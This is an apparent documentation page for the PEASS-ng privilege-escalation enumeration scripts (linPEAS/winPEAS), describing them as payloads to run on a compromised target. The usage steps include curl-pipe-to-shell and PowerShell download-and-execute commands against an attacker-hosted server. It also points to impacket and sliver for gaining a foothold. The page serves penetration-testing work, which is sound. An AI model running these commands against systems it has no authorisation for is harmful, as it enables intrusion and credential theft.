PEASS-ng

peass-ng (Privilege Escalation Awesome Scripts SUITE) ships linPEAS and winPEAS: scripts that enumerate a compromised host for every realistic privilege-escalation path — SUID binaries, sudo misconfigurations, writable services and cron jobs, credentials left in files or history, kernel/OS exploit candidates — and colour-highlight the findings most worth chasing. This isn’t a tool you run against yourself; it’s payload you transfer to and execute on a target once you have a foothold there.

That’s why it’s installed as data, not a program — there’s no binary and nothing to launch from the menu. It’s a set of files you serve to a target and run there.

What’s installed

Reachable from Security → Post Exploitation → PEASS-ng, which opens the folder directly.

Using it

1. Host the script. Use Trigger → Pentest → HTTP File Server → Serve linPEAS (or Serve winPEAS) — see Quick Actions — already pointed at the right directory, so you only need to confirm a port.
2. Pull and run it on the target.

   # Linux target
   curl http://10.0.0.5:8000/linpeas.sh | sh
   
   # Windows target (PowerShell)
   iwr http://10.0.0.5:8000/winPEASx64.exe -OutFile winPEAS.exe; .\winPEAS.exe

3. Read top-down. Both scripts colour their own output — red/yellow entries are the ones to chase first. linPEAS in particular front-loads the highest- confidence findings before the full enumeration dump.

Pair it with impacket or sliver to get the initial foothold, then peass-ng to work out what to do with it.